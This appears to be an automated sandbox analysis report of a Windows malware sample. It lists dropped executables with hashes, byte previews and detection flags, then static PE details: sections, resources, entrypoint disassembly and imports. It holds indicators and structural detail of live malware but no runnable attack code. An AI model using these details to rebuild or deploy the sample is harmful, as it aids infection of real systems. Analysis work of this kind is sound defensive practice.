Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\Temp\sdiimdop.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\18D.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	14973440
Entropy (8bit):	4.645907802057032
Encrypted:	false
SSDEEP:	6144:+AH3plu5xWDwtTwKc6+9YwoTPxSeI2co8mfgWddddddddddddddddddddddddddt:+AH3pCxvTS6Wh6PIeI/
MD5:	F548B3529CA470C25E50AF6220AD3098
SHA1:	A241FBA1FD229664849616D3425AC80DA447583B
SHA-256:	B9029679671D745FEE6E41A455E8DAAC8D64FC9DA159416596D02736A544D4AB
SHA-512:	1E6C0914678E07D1DBCA262F57D88ED54E35E6B15AC4E5ADFE74EBB001D323BB45CEA47F1CCB9995BC65B02C00CEAE5ACE2AE3AF590829050963514351AA5CA7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................................C..........R..........................Rich............PE..L...15.`.................>...........+.......P....@.................................*(......................................<;..(.......`....................P..,#..`............................... ...@............................................text...n<.......>.................. ..`.data...H%...P.......B..............@....lave................X..............@....fidoce.K............Z..............@....pihudu..............\..............@....lafog...............^..............@....rsrc...`............l..............@..@.reloc...>...P......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\haifbcd Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	343040
Entropy (8bit):	6.634640145792183
Encrypted:	false
SSDEEP:	6144:5lA3X2bDueST6gKO1tqT7b4YlCTFGbGQ273pQGfT:5lA3X22e0VKYY70A4FOGQKt
MD5:	DC67C627917FF9724F3C1E6DB5F2DC27
SHA1:	4B7528999AD6095B3FBB3AEC059EFB88D999EA95
SHA-256:	26A4C5B36D9FDE80EA47137EB53B40DACF240432A5895F98417EAE51B6B681DA
SHA-512:	977AAB0AC60948315435E0698058598F40F42D7830B87EE7668BB209938CB388AA5B07C13B66C56DB1AFFA6F86A859B3C01666A22E437C808B6C9DB38975C7B0
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................................C..........R..........................Rich............PE..L....(._.................@...................P....@.........................................................................l=..(.......`....................P..8#..`............................... ...@............................................text....>.......@.................. ..`.data...H%...P.......D..............@....bekuvox.............Z..............@....jutu...K............\..............@....vezev...............^..............@....mubone..............`..............@....rsrc...`............n..............@..@.reloc...>...P...@..................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\haifbcd:Zone.Identifier Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\scifbcd Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	358912
Entropy (8bit):	6.278717191933335
Encrypted:	false
SSDEEP:	6144:7e+RhbrOOFh9v2Y8zBk3L3gXO1RdFggj:7e6aOFhB8zBk3L3b1R
MD5:	1F935BFFF0F8128972BC69625E5B2A6C
SHA1:	18DB55C519BBE14311662A06FAEECC97566E2AFD
SHA-256:	2BFA0884B172C9EAFF7358741C164F571F0565389AB9CF99A8E0B90AE8AD914D
SHA-512:	2C94C1EA43B008CE164D7CD22A2D0FF3B60A623017007A2F361BDFF69ED72E97B0CC0897590BE9CC56333E014CD003786741EB6BB7887590CB2AAD832EA8A32D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......k..S/.../.../...1.Z.=...1.L.W....6..*.../.......1.K.....1.[.....1.^.....Rich/...................PE..L...t..`.................<...J.......4.......P....@.................................A.......................................,9..<....0...Y.......................#..P...............................X...@............................................text...4:.......<.................. ..`.data...`....P.......@..............@....pamicak............................@....dos....K...........................@....modav..............................@....nugirof..... ......................@....rsrc....Y...0...Z..................@..@.reloc...>.......@...:..............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\wratetu Download File
Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	248375
Entropy (8bit):	7.99937643116622
Encrypted:	true
SSDEEP:	6144:IkACiiHYkyeqaRSZryvUV2l1UQpP3lNfoY6TA:4C1YkGaUFoSAR
MD5:	5CFC7301CEC69F9AA0EDF70A574D4436
SHA1:	F739E265A1CE0AE4F83E408CC9F52878541B3718
SHA-256:	B4F15FCE9A5739BC29C5F2A9A22ADC707EA244763D4D4E79199202C8180A33CC
SHA-512:	26A6FF5587FA2CDAA9381728AE8E91D45F5A45D51431CC9710D625C4330723E802FA8393619CCABE8303B6C1F046FE3F91C8F68CEF37680BDD1E56ECD14A5721
Malicious:	false
Reputation:	unknown
Preview:	..{P..8......{.....l.(aU..-...K@n.$.....R...Z>..V.f.~.N..?i.}............pg#...4.9~>S...x.T.(c80J9&... >QUT./,O...J...yp.A.R.....\|...tf..,A.9-......F...#j...........B..!...#...v..Y.-..e<...r....6.V\..I.w..&..}.2b....x.-.qw.C.8..i..#c46I.......^..D.&@Ye.).U.wK...2{l..s..~...........Ja..1......B....s.[..)<.k.nNn.3Qk...+a..6G.x..5Y.WY....U.{l..}...c........I.....0.}.#, rJ...,dht......6....rw.}.6j`/}.a/5,}..Z.%U.......qa.9.j(c.q.7..o..e.up.`.{.(o......h....O........E..~..........bZ..Y.\|.P.;..2..v#.0MV+.P.KW..8.90..l(.~..d.~wP.:..............dz.A...X..\ .5\|V.\|.if.(.2V7..l{J......M.ey..K..-..I..k ....V..z/mt......Ru..?C../K...;...D.}X...4~y.:=.H....J..`.){s...D.m!-.bv...D....=.....J.o..3..."{.^..7(@.H6........C.IL.#0m;.<9..+s..k....O....:X@\|..+IR.g.Ja...L....yJ...xE.o1.P`.......5^U.M....a.(t.rVs.mG..5.A..B..Ar.2Zi..\|.^G...p?m...V.s$..~b..........o.. ..r..\|zO.y=.h.Y5...jc..ei...0.....T.t.[O.*...$.NX#.T//.NM....x...j..l.......\...3`.$.G.

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Reputation:	unknown
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log Download File
Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	7250
Entropy (8bit):	3.1662738963358006
Encrypted:	false
SSDEEP:	96:cEj+AbCEH+AbuEAc+AbhGEA+AbNEe+Ab/Ee+AbPE6w9+Ab1wTEE+Abd:cY+38+DJc+iGr+MZ+65+6tg+ECf+U
MD5:	D84538A0E9147E5B95BC1467B1B2896E
SHA1:	1FEDFAF48A265C0DE88815A8EA821B48F70CA1BA
SHA-256:	385EBB80F9EEBAD4B6B05FD2518ABBFC508981C992566B8844A9937BFD2EE9B0
SHA-512:	325545DCE9302944A12C8715BCFD5E23085E522D91133471EB4C818998725EC65ECF44EC033F3B237EBA0A1AF64048F5011DC4A97B3F014CDB246C9FDA859402
Malicious:	false
Reputation:	unknown
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e.....E.R.R.O.R.:. .M.p.W.D.E.n.a.b.l.e.(.T.R.U.E.). .f.a.i.l.e.d. .(.8.0.0.7.0.4.E.C.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.............-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\Logs\dosvc.20220105_033224_675.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	3.312992075887116
Encrypted:	false
SSDEEP:	96:PCFdQ2o+HK5Lu9D2YPmCKTvI2l5SkGP4nlT2FbYFzGUMCl6JRW:Kf5Cml2CJxnC+w
MD5:	699F867B2888AADC69EA64322AFA75D9
SHA1:	1B6A8DFECF131411C6F6E4A2951A1C9ED8AA324B
SHA-256:	2DB7A93AD5A6FDD71E29DC63581BA513221F106F577A530AA84C4599795579A8
SHA-512:	AB460B75F2E7ED82E48301554696B523BEB69E7193686FF30911C62A38031F2736BAAE8AF021E80EF687CB4B4F09BF0C18426EE1BB843C0BA9ADE575DF400C18
Malicious:	false
Reputation:	unknown
Preview:	.... ... ....................................... ...!...........................l...@...M........................B..............Zb... ... ..........................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................./_8..... ......h..............8.6.9.6.E.A.C.4.-.1.2.8.8.-.4.2.8.8.-.A.4.E.E.-.4.9.E.E.4.3.1.B.0.A.D.9...C.:.\.W.i.n.d.o.w.s.\.S.e.r.v.i.c.e.P.r.o.f.i.l.e.s.\.N.e.t.w.o.r.k.S.e.r.v.i.c.e.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.D.e.l.i.v.e.r.y.O.p.t.i.m.i.z.a.t.i.o.n.\.L.o.g.s.\.d.o.s.v.c...2.0.2.2.0.1.0.5._.0.3.3.2.2.4._.6.7.5...e.t.l.........P.P.l...@...M.......................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe (copy) Download File
Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	14973440
Entropy (8bit):	4.645907802057032
Encrypted:	false
SSDEEP:	6144:+AH3plu5xWDwtTwKc6+9YwoTPxSeI2co8mfgWddddddddddddddddddddddddddt:+AH3pCxvTS6Wh6PIeI/
MD5:	F548B3529CA470C25E50AF6220AD3098
SHA1:	A241FBA1FD229664849616D3425AC80DA447583B
SHA-256:	B9029679671D745FEE6E41A455E8DAAC8D64FC9DA159416596D02736A544D4AB
SHA-512:	1E6C0914678E07D1DBCA262F57D88ED54E35E6B15AC4E5ADFE74EBB001D323BB45CEA47F1CCB9995BC65B02C00CEAE5ACE2AE3AF590829050963514351AA5CA7
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................................C..........R..........................Rich............PE..L...15.`.................>...........+.......P....@.................................*(......................................<;..(.......`....................P..,#..`............................... ...@............................................text...n<.......>.................. ..`.data...H%...P.......B..............@....lave................X..............@....fidoce.K............Z..............@....pihudu..............\..............@....lafog...............^..............@....rsrc...`............l..............@..@.reloc...>...P......................@..B........................................................................................................................................................................................................................

\Device\ConDrv Download File
Process:	C:\Windows\SysWOW64\netsh.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3773
Entropy (8bit):	4.7109073551842435
Encrypted:	false
SSDEEP:	48:VHILZNfrI7WFY32iIiNOmV/HToZV9It199hiALlIg39bWA1RvTBi/g2eB:VoLr0y9iIiNOoHTou7bhBlIydWALLt2w
MD5:	DA3247A302D70819F10BCEEBAF400503
SHA1:	2857AA198EE76C86FC929CC3388A56D5FD051844
SHA-256:	5262E1EE394F329CD1F87EA31BA4A396C4A76EDC3A87612A179F81F21606ABC8
SHA-512:	48FFEC059B4E88F21C2AA4049B7D9E303C0C93D1AD771E405827149EDDF986A72EF49C0F6D8B70F5839DCDBD6B1EA8125C8B300134B7F71C47702B577AD090F8
Malicious:	false
Reputation:	unknown
Preview:	..A specified value is not valid.....Usage: add rule name=<string>.. dir=in\|out.. action=allow\|block\|bypass.. [program=<program path>].. [service=<service short name>\|any].. [description=<string>].. [enable=yes\|no (default=yes)].. [profile=public\|private\|domain\|any[,...]].. [localip=any\|<IPv4 address>\|<IPv6 address>\|<subnet>\|<range>\|<list>].. [remoteip=any\|localsubnet\|dns\|dhcp\|wins\|defaultgateway\|.. <IPv4 address>\|<IPv6 address>\|<subnet>\|<range>\|<list>].. [localport=0-65535\|<port range>[,...]\|RPC\|RPC-EPMap\|IPHTTPS\|any (default=any)].. [remoteport=0-65535\|<port range>[,...]\|any (default=any)].. [protocol=0-255\|icmpv4\|icmpv6\|icmpv4:type,code\|icmpv6:type,code\|.. tcp\|udp\|any (default=any)].. [interfacetype=wireless\|lan\|ras\|any].. [rmtcomputergrp=<SDDL string>].. [rmtusrgrp=<SDDL string>].. [edge=yes\|deferapp\|deferuser\|no (default=no)].. [security=authenticate\|authenc\|authdynenc\|authnoencap\|

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.634640145792183
TrID:	Win32 Executable (generic) a (10002005/4) 99.83% Windows Screen Saver (13104/52) 0.13% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	nkINykHreE.exe
File size:	343040
MD5:	dc67c627917ff9724f3c1e6db5f2dc27
SHA1:	4b7528999ad6095b3fbb3aec059efb88d999ea95
SHA256:	26a4c5b36d9fde80ea47137eb53b40dacf240432a5895f98417eae51b6b681da
SHA512:	977aab0ac60948315435e0698058598f40f42d7830b87ee7668bb209938cb388aa5b07c13b66c56db1affa6f86a859b3c01666a22e437c808b6c9db38975c7b0
SSDEEP:	6144:5lA3X2bDueST6gKO1tqT7b4YlCTFGbGQ273pQGfT:5lA3X22e0VKYY70A4FOGQKt
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................................C..........R...........................Rich............PE..L....(._.................@.........

File Icon


Icon Hash:	c8d0d8e0f8e8f4e8

Static PE Info

General
Entrypoint:	0x422e10
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x5F83280E [Sun Oct 11 15:43:10 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	e64508a754c560e6e71788b6f0d7d44d

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007F6780FB087Bh
call 00007F6780FA0EA6h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 004435E0h
push 0042C640h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF94h
push ebx
push esi
push edi
mov eax, dword ptr [00445748h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
mov dword ptr [ebp-04h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [00401218h]
mov dword ptr [ebp-04h], FFFFFFFEh
jmp 00007F6780FA0EB8h
mov eax, 00000001h
ret
mov esp, dword ptr [ebp-18h]
mov dword ptr [ebp-78h], 000000FFh
mov dword ptr [ebp-04h], FFFFFFFEh
mov eax, dword ptr [ebp-78h]
jmp 00007F6780FA0FE7h
mov dword ptr [ebp-04h], FFFFFFFEh
call 00007F6780FA1024h
mov dword ptr [ebp-6Ch], eax
push 00000001h
call 00007F6780FB125Ah
add esp, 04h
test eax, eax
jne 00007F6780FA0E9Ch
push 0000001Ch
call 00007F6780FA0FDCh
add esp, 04h
call 00007F6780FAC4D4h
test eax, eax
jne 00007F6780FA0E9Ch
push 00000010h

Rich Headers

Programming Language:

[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[ASM] VS2008 build 21022
[LNK] VS2008 build 21022
[RES] VS2008 build 21022
[C++] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x43d6c	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5c000	0x8d60	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x65000	0x2338	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1360	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa720	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x2e8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x43e9e	0x44000	False	0.564783432904	data	6.85301887621	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x45000	0x12548	0x1600	False	0.234907670455	data	3.04465131618	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.bekuvox	0x58000	0x5	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.jutu	0x59000	0x4b	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.vezev	0x5a000	0xea	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.mubone	0x5b000	0xd93	0xe00	False	0.00697544642857	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x5c000	0x8d60	0x8e00	False	0.550533670775	data	5.61683000137	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x65000	0x3e84	0x4000	False	0.444885253906	data	4.56707219047	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
CIDAFICUDUROSOTAROM	0x62588	0x6c7	ASCII text, with very long lines, with no line terminators	Spanish	Colombia
RT_CURSOR	0x62d60	0x130	data	Divehi; Dhivehi; Maldivian	Maldives
RT_CURSOR	0x62ea8	0x130	data	Divehi; Dhivehi; Maldivian	Maldives
RT_CURSOR	0x62fd8	0xf0	data	Divehi; Dhivehi; Maldivian	Maldives
RT_CURSOR	0x630c8	0x10a8	dBase III DBT, version number 0, next free block index 40	Divehi; Dhivehi; Maldivian	Maldives
RT_ICON	0x5c6a0	0x6c8	data	Spanish	Colombia
RT_ICON	0x5cd68	0x568	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_ICON	0x5d2d0	0x10a8	data	Spanish	Colombia
RT_ICON	0x5e378	0x988	dBase III DBT, version number 0, next free block index 40	Spanish	Colombia
RT_ICON	0x5ed00	0x468	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_ICON	0x5f1b8	0x8a8	data	Spanish	Colombia
RT_ICON	0x5fa60	0x6c8	data	Spanish	Colombia
RT_ICON	0x60128	0x568	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_ICON	0x60690	0x10a8	data	Spanish	Colombia
RT_ICON	0x61738	0x988	data	Spanish	Colombia
RT_ICON	0x620c0	0x468	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_STRING	0x641a0	0x6e	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0x64210	0x256	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0x64468	0x788	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0x64bf0	0x16e	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0x62ca8	0x78	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0x62c50	0x58	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_CURSOR	0x62e90	0x14	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_CURSOR	0x64170	0x30	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_ICON	0x5f168	0x4c	data	Spanish	Colombia
RT_GROUP_ICON	0x62528	0x5a	data	Spanish	Colombia
None	0x62d30	0xa	data	Divehi; Dhivehi; Maldivian	Maldives
None	0x62d40	0xa	data	Divehi; Dhivehi; Maldivian	Maldives
None	0x62d20	0xa	data	Divehi; Dhivehi; Maldivian	Maldives
None	0x62d50	0xa	data	Divehi; Dhivehi; Maldivian	Maldives

Imports

DLL

Import

KERNEL32.dll

CallNamedPipeA, TerminateProcess, GetExitCodeProcess, GetVersionExA, GetConsoleCP, GetConsoleAliasesLengthA, CommConfigDialogA, FindFirstFileExW, GetDriveTypeA, FreeEnvironmentStringsA, GetProcessPriorityBoost, SetVolumeMountPointA, GetLongPathNameA, CopyFileW, TlsSetValue, SetConsoleCursorInfo, LocalHandle, TzSpecificLocalTimeToSystemTime, FindAtomA, ReleaseSemaphore, GetNamedPipeHandleStateA, SetThreadPriorityBoost, BuildCommDCBAndTimeoutsW, GetProcAddress, GetModuleHandleA, LocalAlloc, LocalReAlloc, GetCommandLineA, InterlockedExchange, GetCalendarInfoA, DeleteFileA, CreateActCtxA, CreateRemoteThread, CreateThread, GetPriorityClass, WritePrivateProfileStringW, GetProcessHeaps, GetProcessHeap, GlobalUnWire, ReadConsoleOutputCharacterW, GetStartupInfoA, GetDiskFreeSpaceExA, GetCPInfoExA, GetWindowsDirectoryA, GetSystemWow64DirectoryW, GetLastError, GetProfileStringA, WriteProfileSectionW, GetProfileStringW, SetLastError, GetStringTypeExA, DebugBreak, GetPrivateProfileSectionW, lstrcmpW, ReadFile, GetConsoleMode, TerminateThread, GetThreadSelectorEntry, lstrcatW, CreateActCtxW, SetMailslotInfo, SetSystemTimeAdjustment, DefineDosDeviceW, EndUpdateResourceW, WriteConsoleA, GetPrivateProfileStructW, TryEnterCriticalSection, HeapLock, DisableThreadLibraryCalls, PeekConsoleInputW, GetTapeStatus, TransmitCommChar, WaitNamedPipeW, FindResourceExA, GetLocalTime, GetOverlappedResult, CreateSemaphoreW, SetThreadLocale, SetFileShortNameA, lstrcpyA, VerLanguageNameW, UnlockFile, GetConsoleAliasA, GetConsoleAliasExesLengthW, EnumDateFormatsW, RequestDeviceWakeup, ResetWriteWatch, GetNumberOfConsoleInputEvents, TlsGetValue, GetComputerNameW, HeapFree, SetCommMask, SetEndOfFile, FindClose, PostQueuedCompletionStatus, AreFileApisANSI, SetWaitableTimer, EnumResourceNamesW, GetProcessTimes, GetConsoleAliasesLengthW, FatalAppExitA, lstrcpynW, GetNamedPipeInfo, FillConsoleOutputCharacterA, GetCompressedFileSizeA, FindNextVolumeMountPointW, GetFullPathNameW, WriteProfileStringW, SetHandleCount, GlobalAddAtomA, TerminateJobObject, QueryDosDeviceW, InitializeCriticalSection, Process32FirstW, SetCurrentDirectoryW, GetBinaryTypeW, OpenMutexA, InterlockedIncrement, InterlockedDecrement, WideCharToMultiByte, MultiByteToWideChar, InterlockedCompareExchange, Sleep, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, RaiseException, RtlUnwind, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, GetModuleFileNameW, MoveFileA, GetStartupInfoW, LCMapStringA, LCMapStringW, GetCPInfo, HeapValidate, IsBadReadPtr, GetStringTypeW, GetModuleHandleW, TlsAlloc, GetCurrentThreadId, TlsFree, GetStdHandle, WriteFile, OutputDebugStringA, WriteConsoleW, GetFileType, OutputDebugStringW, ExitProcess, LoadLibraryW, GetModuleFileNameA, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, HeapDestroy, HeapCreate, VirtualFree, GetACP, GetOEMCP, IsValidCodePage, GetLocaleInfoA, GetStringTypeA, HeapAlloc, HeapSize, HeapReAlloc, VirtualAlloc, IsValidLocale, EnumSystemLocalesA, GetUserDefaultLCID, FlushFileBuffers, 